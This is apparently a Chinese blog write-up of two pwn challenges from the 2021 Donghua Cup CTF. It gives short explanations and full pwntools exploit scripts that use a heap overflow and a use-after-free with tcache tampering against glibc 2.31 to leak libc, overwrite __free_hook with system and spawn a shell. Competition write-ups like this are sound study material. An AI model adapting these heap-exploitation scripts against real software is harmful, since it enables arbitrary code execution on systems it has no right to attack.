2021东华杯部分pwn题...

【pwn】2021 东华杯(部分)

1、cpp1

典中典之堆溢出,改俩堆块重叠进入unsorted bin,然后申请其中一个回来,就能泄露libc。

之后就是堆溢出改fd为free_hook写入system

#!/usr/bin/python
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2021/10/31 12:57:01
# -----------------------------------

from pwn import *
from ctypes import *
from LibcSearcher import *
import sys, subprocess, warnings, os

from rpyc import lib

def ret2libc(addr,func,binary=null):
    libc         = LibcSearcher(func,addr)               if binary == null else binary
    libc.address = addr - libc.dump(func)                if binary == null else addr-libc.sym[func]
    system       = libc.address+libc.dump('system')      if binary == null else libc.sym['system']
    binsh        = libc.address+libc.dump('str_bin_sh')  if binary == null else next(libc.search(b'/bin/sh'))
    leak('libc_base',libc.address)
    leak('system',system)
    leak('binsh',binsh)
    return(system,binsh)

def hack(pwn):
    global io,binary,libc
    times = 0
    while True:
        try:
            times += 1
            clear()
            info(f'time --> {times}')
            pwn()
        except:
            io.close()
            io = getprocess()

def init(binary):
    global arglen, elf, path , libc, context, io, Clib
    arglen = len(sys.argv)
    warnings.filterwarnings('ignore')
    context.terminal = ['gnome-terminal','-x', 'bash','-c']
    elf = ELF(binary)
    path = libcpath(binary)
    libc = ELF(path)
    libc.path = path
    Clib = cdll.LoadLibrary(libc.path) if context.arch == 'amd64' else null
    context.arch = elfbit(binary)
    io = getprocess()

s           =       lambda data                       : io.send(data)
sa          =       lambda rv,data                    : io.sendafter(rv,data)
sl          =       lambda data                       : io.sendline(data)
sla         =       lambda rv,data                    : io.sendlineafter(rv,data)
r           =       lambda num                        : io.recv(num)
rl          =       lambda keepends=True              : io.recvline(keepends)
ru          =       lambda data,drop=True,time=null   : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time)
ia          =       lambda                            : io.interactive()
l32         =       lambda                            : u32(ru(b'\xf7',False)[-4:].ljust(4,b'\x00'))
l64         =       lambda                            : u64(ru(b'\x7f',False)[-6:].ljust(8,b'\x00'))
uu32        =       lambda data                       : u32(data.ljust(4,b'\x00'))
uu64        =       lambda data                       : u64(data.ljust(8,b'\x00'))
i16         =       lambda data                       : int(data,16)
leak        =       lambda name,addr                  : log.success('\033[33m{}\033[0m = \033[31m{:#x}\033[0m'.format(name, addr))
info        =       lambda data                       : log.info(f'\033[36m{data}\033[0m')
pau         =       lambda                            : pause() if DEBUG else null
dbg         =       lambda point=null                 : (gdb.attach(io) if point == null else gdb.attach(io,f'b *{point}')) if DEBUG else null
og          =       lambda path=null                  : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' ')))
rg          =       lambda binary,only,grep           : i16(subprocess.check_output([f"ROPgadget --binary {binary} --only '{only}' | grep {grep}"],shell=True).decode().split(' ')[0])
setlibc     =       lambda leak,func                  : leak - libc.sym[func]
elfbit      =       lambda binary                     : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64'
libcpath    =       lambda binary                     : subprocess.check_output(['ldd',binary]).decode().replace('	', '').split('\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\n').split('\n')[0]
proce       =       lambda binary,libc=null           : process(binary) if GLIBC else process(binary,env={'LD_PRELOAD':'./'+libc})
getprocess  =       lambda                            : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2]))
clear       =       lambda                            : os.system('clear')

# context.log_level='debug'
DEBUG  = 1
GLIBC  = 1
binary = './pwn'
init(binary)

libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc.so.6")

def cmd(idx):
    sla(">>",str(idx))

def add(index,size):
    cmd(1)
    sla("I:>>",str(index))
    sla("S:>>",str(size))

def edit(index,content):
    cmd(2)
    sla("I:>>",str(index))
    sa("V:>>",content)
    
def show(index):
    cmd(3)
    sla("I:>>",str(index))
    
def free(index):
    cmd(4)
    sla("I:>>",str(index))


add(0,0x58)
add(1,0x58)
add(2,0x58)
add(3,0x58)


for i in range(7):
    add(i+4,0xb8)
for i in range(7):
    free(i+4)

edit(0,b"b"*0x50+p64(0)+p64(0x60+0x60+1)+b"\n")
free(1)

add(1,0x58)
show(1)
libc.address = l64() - (0x7f8e3ecc1be0-0x7f8e3ead6000) - 0xb0
leak("libc_base",libc.address)

free_hook = libc.sym["__free_hook"]
system_addr = libc.sym["system"]

add(4,0x58)
free(0)
free(2)
edit(4,p64(free_hook)+b"\n")

add(2,0x58)
add(5,0x58)

edit(5,p64(system_addr)+b"\n")

edit(3,"sh\n")

free(3)

ia()

image-20211031215508821

2、gcc2

典中典之uaf,但2.31的uaf真没见过。比赛结束找pwn神师傅问了问,改tcache控制块泄露ilbc。反正是我没学过的点,这几天去把tcache康康。

泄露完就随便uaf洞随便打了,直接free_hook写入system

#!/usr/bin/python
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2021/10/31 13:38:09
# -----------------------------------

from pwn import *
from ctypes import *
from LibcSearcher import *
import sys, subprocess, warnings, os

def ret2libc(addr,func,binary=null):
    libc         = LibcSearcher(func,addr)               if binary == null else binary
    libc.address = addr - libc.dump(func)                if binary == null else addr-libc.sym[func]
    system       = libc.address+libc.dump('system')      if binary == null else libc.sym['system']
    binsh        = libc.address+libc.dump('str_bin_sh')  if binary == null else next(libc.search(b'/bin/sh'))
    leak('libc_base',libc.address)
    leak('system',system)
    leak('binsh',binsh)
    return(system,binsh)

def hack(pwn):
    global io,binary,libc
    times = 0
    while True:
        try:
            times += 1
            clear()
            info(f'time --> {times}')
            pwn()
        except:
            io.close()
            io = getprocess()

def init(binary):
    global arglen, elf, path , libc, context, io, Clib
    arglen = len(sys.argv)
    warnings.filterwarnings('ignore')
    context.terminal = ['gnome-terminal','-x', 'bash','-c']
    elf = ELF(binary)
    path = libcpath(binary)
    libc = ELF(path)
    libc.path = path
    Clib = cdll.LoadLibrary(libc.path) if context.arch == 'amd64' else null
    context.arch = elfbit(binary)
    io = getprocess()

s           =       lambda data                       : io.send(data)
sa          =       lambda rv,data                    : io.sendafter(rv,data)
sl          =       lambda data                       : io.sendline(data)
sla         =       lambda rv,data                    : io.sendlineafter(rv,data)
r           =       lambda num                        : io.recv(num)
rl          =       lambda keepends=True              : io.recvline(keepends)
ru          =       lambda data,drop=True,time=null   : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time)
ia          =       lambda                            : io.interactive()
l32         =       lambda                            : u32(ru(b'\xf7',False)[-4:].ljust(4,b'\x00'))
l64         =       lambda                            : u64(ru(b'\x7f',False)[-6:].ljust(8,b'\x00'))
uu32        =       lambda data                       : u32(data.ljust(4,b'\x00'))
uu64        =       lambda data                       : u64(data.ljust(8,b'\x00'))
i16         =       lambda data                       : int(data,16)
leak        =       lambda name,addr                  : log.success('\033[33m{}\033[0m = \033[31m{:#x}\033[0m'.format(name, addr))
info        =       lambda data                       : log.info(f'\033[36m{data}\033[0m')
pau         =       lambda                            : pause() if DEBUG else null
dbg         =       lambda point=null                 : (gdb.attach(io) if point == null else gdb.attach(io,f'b *{point}')) if DEBUG else null
og          =       lambda path=null                  : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' ')))
rg          =       lambda binary,only,grep           : i16(subprocess.check_output([f"ROPgadget --binary {binary} --only '{only}' | grep {grep}"],shell=True).decode().split(' ')[0])
setlibc     =       lambda leak,func                  : leak - libc.sym[func]
elfbit      =       lambda binary                     : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64'
libcpath    =       lambda binary                     : subprocess.check_output(['ldd',binary]).decode().replace('	', '').split('\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\n').split('\n')[0]
proce       =       lambda binary,libc=null           : process(binary) if GLIBC else process(binary,env={'LD_PRELOAD':'./'+libc})
getprocess  =       lambda                            : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2]))
clear       =       lambda                            : os.system('clear')

# context.log_level='debug'
DEBUG  = 1
GLIBC  = 1
binary = './pwn'
init(binary)

libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc.so.6")

def cmd(idx):
    sla(">>",str(idx))

def add(index,size):
    cmd(1)
    sla("I:>>",str(index))
    sla("S:>>",str(size))

def edit(index,content):
    cmd(2)
    sla("I:>>",str(index))
    sa("V:>>",content)
    
def show(index):
    cmd(3)
    sla("I:>>",str(index))
    
def free(index):
    cmd(4)
    sla("I:>>",str(index))
    
        
for i in range(9):
    add(i,0x67)
for i in range(7):
    free(i)

show(1)
chunk_addr = uu64(ru("\x55",False)[-6:]) - 0x12ec0
leak("chunk_addr",chunk_addr)

edit(6,p64(chunk_addr+0x10)+b"\n")
add(9,0x67)
add(10,0x67)
edit(10,b'\x07'*0x50+b"\n")
free(10)
show(10)
libc.address = l64() - 0x1ebbe0
leak("libc_base",libc.address)
free_hook = libc.sym["__free_hook"]
system_addr = libc.sym["system"]

edit(10,b'\x00'*0x50+b"\n")

free(2)
free(3)
edit(3,p64(free_hook)+b"\n")
add(11,0x67)
add(12,0x67)
edit(12,p64(system_addr)+b"\n")

edit(4,b"sh\n")
free(4)

ia()

image-20211031215346721

3、后记

tcache真的做的太少了(其实都做的少),之后补补。

还有,更改libc千万不要选错,第一题一开始一直在用2.32打,永远是free_hook写入了tcache然后申请一个就写成其他乱七八糟的地址了。2.32真滴难,有时间系统学学QAQ。